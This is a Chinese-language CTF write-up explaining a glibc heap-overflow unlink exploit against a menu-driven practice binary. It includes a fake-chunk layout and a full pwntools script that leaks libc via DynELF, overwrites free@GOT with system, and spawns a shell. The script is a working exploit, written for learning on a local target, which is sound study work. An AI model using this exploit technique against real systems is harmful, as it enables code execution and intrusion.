heap vuln -- unlink

0x00:起因

一直在堆的漏洞利用中不得要领,之前ZCTF又是三个堆的利用,血崩,chxx表哥给写了一个heap的pwn,学习学习。

0x01:

关于heap的unlink的漏洞利用,出的很早,在低版本的libc中,因为没有校验,导致在unlink的时候可以通过构造堆块dwordshoot,从而任意代码执行。
对于这种漏洞的学习,首先要了解malloc的工作原理及几种堆块的分配、使用方式。推荐文章 Understanding glibc malloc

0x02:文件信息

0x03:分析

程序是一个菜单式的程序,可以用户自定义分配块的长度和内容,漏洞在于:edit的时候,没做长度校验导致可以溢出,通过构造可以bypass 在libc中unlink的校验,从而getshell。

0x04:在drops看到的姿势

堆溢出的unlink利用方法
按照文中给出的方式,为了bypass

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
4malloc_printerr (check_action, "corrupted double-linked list", P);

这么一个指针的校验,我们找到一个特殊的 指针ptr是指向p的(p指向堆)
那么可以根据p去构造bk和fd两个指针

1
2
3
4
5
6
7
8
9
10
11
chunk0                malloc返回的ptr           chunk1        malloc返回的ptr
| | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
| | |fake|fake|fake|fake| D | fake | fake | | | |
| | |prev|size| FD | BK | A | prev | size&| | | |
| prev_size |size&Flag|size| | | | T | size | flag | | | |
| | | | | | | A | | | | | |
| | | | | | | | | | | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
|--------new_size--------|
list
1
2
3
4
5
6
l32(0)  +  l32(0x89)  +  l32(list-0xc) + l32(list-0x8) +"A"*(128-4*4)
#fake_pre_szie + fake_size + fake_FD + fake_BK + DATA
# 4bytes 4bytes 4bytes 4bytes 128-4*4
#pre_size + size&flag
l32(0x80) + l32(0x88)
free(chunk_1)

分配两个长度合适的块,伪造第一个块,然后通过修改了第二个块的pre_size 和size
然后free(chunk1) 触发unlink

之后再次修改指针p 从而达到leak地址,修改地址的目的

0x05:exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context.update(os='linux', arch='i386')
p = remote('127.0.0.1',10001)
chunk_list = 0x8049d60
free_got = 0x8049ce8
flag = 0
def leak(addr):
data = "A" * 0xc + p32(chunk_list-0xc) + p32(addr)
global flag
if flag == 0:
set_chunk(0, data)
flag = 1
else:
set_chunk2(0, data)
res = ""
p.recvuntil('5.Exit\n')
res = print_chunk(1)
print("leaking: %#x ---> %s" % (addr, res[0:4].encode('hex')))
return res[0:4]
def add_chunk(len):
4print p.recvuntil('\n')
4p.sendline('1')
4print p.recvuntil('Input the size of chunk you want to add:')
4p.sendline(str(len))
def set_chunk(index,data):
4p.recvuntil('5.Exit\n')
4p.sendline('2')
4p.recvuntil('Set chunk index:')
4p.sendline(str(index))
4p.recvuntil('Set chunk data:')
4p.sendline(data)
def set_chunk2(index, data):
p.sendline('2')
p.recvuntil('Set chunk index:')
p.sendline(str(index))
p.recvuntil('Set chunk data:')
p.sendline(data)
def del_chunk(index):
4p.recvuntil('\n')
4p.sendline('3')
4p.recvuntil('Delete chunk index:')
4p.sendline(str(index))
def print_chunk(index):
4p.sendline('4')
4p.recvuntil('Print chunk index:')
4p.sendline(str(index))
4res = p.recvuntil('5.Exit\n')
4return res
raw_input('add_chunk')
add_chunk(128) #0
add_chunk(128) #1
add_chunk(128) #2
add_chunk(128) #3
set_chunk(3, '/bin/sh')
#fake_chunk
payload = ""
payload += p32(0) + p32(0x89) + p32(chunk_list-0xc) + p32(chunk_list-0x8)
payload += "A"*(0x80-4*4)
#2nd chunk
payload += p32(0x80) + p32(0x88)
set_chunk(0,payload)
#get the pointer
del_chunk(1)
set_chunk(0, 'A' * 12 + p32(0x8049d54) + p32(0x8049d14))
raw_input('leak')
#leak system_addr
pwn_elf = ELF('./heap')
d = DynELF(leak, elf=pwn_elf)
sys_addr = d.lookup('system', 'libc')
print("system addr: %#x" % sys_addr)
raw_input('edit free@got')
data = "A" * 12 + p32(chunk_list-0xc) + p32(free_got)
set_chunk2('0', data)
set_chunk2('1', p32(sys_addr))
del_chunk('3')
p.interactive()
p.close()

0x06:参考

  1. Understanding glibc malloc
  2. 堆溢出的unlink利用方法
  • 最后还要感谢chxx大表哥的pwn和指导=。=
  • 所有文件都在这里了 文件下载